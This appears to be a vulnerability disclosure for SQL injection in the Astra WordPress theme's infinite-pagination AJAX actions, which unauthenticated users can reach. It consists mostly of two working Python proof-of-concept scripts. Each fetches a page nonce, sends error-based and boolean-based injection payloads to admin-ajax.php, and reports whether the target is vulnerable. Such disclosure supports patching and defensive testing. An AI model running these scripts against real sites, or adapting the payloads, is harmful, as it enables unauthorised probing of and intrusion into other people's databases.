The plugin did not properly sanitise or escape some of the POST parameters from the astra_pagination_infinite and astra_shop_pagination_infinite AJAX action (available to both unauthenticated and authenticated user) before using them in SQL statement, leading to an SQL Injection issues
Via astra_pagination_infinite action:
import argparse
import requests as req
from bs4 import BeautifulSoup as bs
import json
req.urllib3.disable_warnings()
def get_nonce(url):
try:
headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
r = req.get(url, headers=headers, allow_redirects=True, verify=False)
if 'var astra = {' in r.text and 'infinite_nonce' in r.text:
soup = bs(r.content, 'html.parser')
astra = soup.find('script', attrs={'id': 'astra-theme-js-js-extra'}).text.strip()[12:-1]
data = json.loads(astra)
nonce = data['infinite_nonce']
return nonce, r.url
except Exception as e:
#raise e
return None, None
return None, None
def send_request(url, nonce, payload):
data = {
"action": "astra_pagination_infinite",
"page_no": "1",
"nonce": "{}".format(nonce),
"query_vars": r'{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["' + payload + r'"]}}}',
"astra_infinite": "astra_pagination_ajax"
}
headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
url += '/wp-admin/admin-ajax.php'
r = req.post(url, headers=headers, data=data, verify=False)
return r.text
def check_sqli(url, nonce):
# grep error base
res = send_request(url, nonce, "'")
if 'database error' in res:
return True, 'Vuln to Error-Based.'
# query 1
res1 = send_request(url, nonce, '9656)) and ((7556=1223')
res2 = send_request(url, nonce, '9634)) or ((6532=6532')
if res1 == '' and (len(res2) > len(res1)):
return True, 'Vuln to Boolean-Based.'
return False, 'Not vuln'
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help='URL', required="True")
args = parser.parse_args()
url = args.url
nonce, r_url = get_nonce(url)
print(check_sqli(r_url, nonce)[1])
main()
Via astra_shop_pagination_infinite action:
import argparse
import requests as req
from bs4 import BeautifulSoup as bs
import json
req.urllib3.disable_warnings()
def get_nonce(url):
try:
headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
r = req.get(url, headers=headers, allow_redirects=True, verify=False)
if 'var astra = {' in r.text and 'shop_infinite_nonce' in r.text:
soup = bs(r.content, 'html.parser')
astra = soup.find('script', attrs={'id': 'astra-theme-js-js-extra'}).text.strip()[12:-1]
data = json.loads(astra)
nonce = data['shop_infinite_nonce']
return nonce, r.url
except Exception as e:
#raise e
return None, None
return None, None
def send_request(url, nonce, payload):
data = {
"action": "astra_shop_pagination_infinite",
"page_no": "1",
"nonce": "{}".format(nonce),
"query_vars": r'{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["' + payload + r'"]}}}',
"astra_infinite": "astra_pagination_ajax"
}
headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
url += '/wp-admin/admin-ajax.php'
r = req.post(url, headers=headers, data=data, verify=False)
return r.text
def check_sqli(url, nonce):
# grep error base
res = send_request(url, nonce, "'")
if 'database error' in res:
return True, 'Vuln to Error-Based.'
# query 1
res1 = send_request(url, nonce, '9656)) and ((7556=1223')
res2 = send_request(url, nonce, '9634)) or ((6532=6532')
if res1 == '' and (len(res2) > len(res1)):
return True, 'Vuln to Boolean-Based.'
return False, 'Not vuln'
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help='URL', required="True")
args = parser.parse_args()
url = args.url
nonce, r_url = get_nonce(url)
print(check_sqli(r_url, nonce)[1])
main()